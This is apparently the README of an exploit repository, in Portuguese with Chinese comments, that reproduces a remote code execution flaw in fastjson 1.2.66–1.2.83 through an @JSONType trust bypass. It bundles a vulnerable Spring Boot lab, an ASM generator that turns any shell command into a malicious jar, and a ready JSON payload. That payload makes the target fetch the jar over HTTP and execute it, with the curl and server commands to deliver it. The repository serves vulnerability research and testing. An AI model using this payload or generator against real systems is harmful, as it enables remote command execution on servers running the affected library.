
Reproduz o RCE do fastjson 1.2.83 via @JSONType com um alvo Spring Boot vulnerável e um gerador de payload baseado em ASM usando cadeias de jar por protocolo HTTP ou file.
@JSONType
Projeto de reprodução de carregamento remoto de classes / execução de comandos no fastjson 1.2.66 ~ 1.2.83 usando anotação @JSONType + nome de classe ilegal + protocolo jar:.
⚠️ Aviso de isenção de responsabilidade
Este projeto destina-se exclusivamente a pesquisa de segurança, reprodução de vulnerabilidades e testes autorizados. É estritamente proibido utilizá-lo em qualquer sistema não autorizado, ataque ilegal ou finalidade maliciosa. Os usuários são integralmente responsáveis por suas próprias ações; o autor não se responsabiliza legalmente por qualquer uso indevido.
Artigo de referência para análise da vulnerabilidade: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Este projeto monta um ambiente completo de reprodução da vulnerabilidade do fastjson 1.2.83 em torno de CVE-2026-16723:
demo/ — aplicação Web Spring Boot 2.7.18 vulnerável (com dependência do fastjson 1.2.83), que expõe o endpoint POST /parse e chama diretamente JSON.parse(json);exp/ — gerador de jar de sonda maliciosa baseado em ASM (duas variantes: protocolo HTTP / protocolo FILE);环境/ — FatJars de três middlewares pré-compilados (Tomcat / Jetty / Undertow), prontos para uso.Ideia central da exploração: ao construir um JSON especial com @type apontando para uma URL de jar, o fastjson percorre o ramo de confiança da anotação @JSONType → getResourceAsStream baixa o jar remoto/local → defineClass carrega a classe maliciosa → a inicialização da classe aciona <clinit> → execução arbitrária de comandos (RCE).
| Item | Descrição |
|---|---|
| CVE | CVE-2026-16723 |
| Componente | Alibaba fastjson |
| Versões afetadas | 1.2.66 ~ 1.2.83 (a última versão 1.x ainda é afetada) |
| Tipo de vulnerabilidade | Execução remota de código por desserialização (RCE) |
| Ponto de entrada | JSON.parse(json) / JSON.parseObject(json) (sem especificar tipo concreto) |
| Pré-requisitos | Alvo em Spring Boot FatJar, JDK 8, safeMode desativado |
JSON.parse(json) ou JSON.parseObject(json) para analisar diretamente entrada não confiável, com fastjson nas versões 1.2.66 ~ 1.2.83 e safeMode não ativado;java -jar, LaunchedURLClassLoader; apenas Spring Boot ≤ 2.7 mantém a capacidade de fallback do Handler do protocolo jar:);defineClass lança ClassFormatError; no máximo, é possível apenas SSRF);O checkAutoType do fastjson entra no ramo de confiança ao encontrar uma classe com anotação @JSONType, ignorando a maior parte das verificações da blacklist e permitindo o carregamento. Este projeto aproveita esse comportamento usando ASM para escrever o bytecode diretamente, gravando um [nome de classe interna ilegal] no this_class do constant pool da classe, alinhando perfeitamente os três nomes:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Estrutura da classe maliciosa:
@JSONType — a chave que abre o ramo de confiança do checkAutoType do fastjson;<init>()V — garante que o fastjson consiga instanciar a classe normalmente;<clinit> — durante a inicialização do carregamento da classe, executa Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), realizando a execução de comandos.Nomes de classe ilegais não podem ser escritos com
javac; apenas o ASM consegue gravar a URL diretamente no constant pool — é por isso que o gerador deste projeto depende doasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
O laboratório deve ser executado em ambiente JDK 8 (consistente com as condições de exploração).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Após a inicialização, o endereço do endpoint é: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — porta HTTP de hospedagem do jar malicioso;open -a Calculator — comando a ser executado na máquina alvo (abre a calculadora no macOS; no Linux, use id > /tmp/pwned 2>&1 e verifique se o arquivo foi criado).Por padrão, o arquivo gerado é x (sem extensão), contendo y.class; o payload é:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Certifique-se de iniciar o
python3 -m http.serverno diretório onde o arquivoxfoi gerado.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
O resultado da execução do comando não é refletido na resposta HTTP; é preciso confirmar na máquina alvo:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)